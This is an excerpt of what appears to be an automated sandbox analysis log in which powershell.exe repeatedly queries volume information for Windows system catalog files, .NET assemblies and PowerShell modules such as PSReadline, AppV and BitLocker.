      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
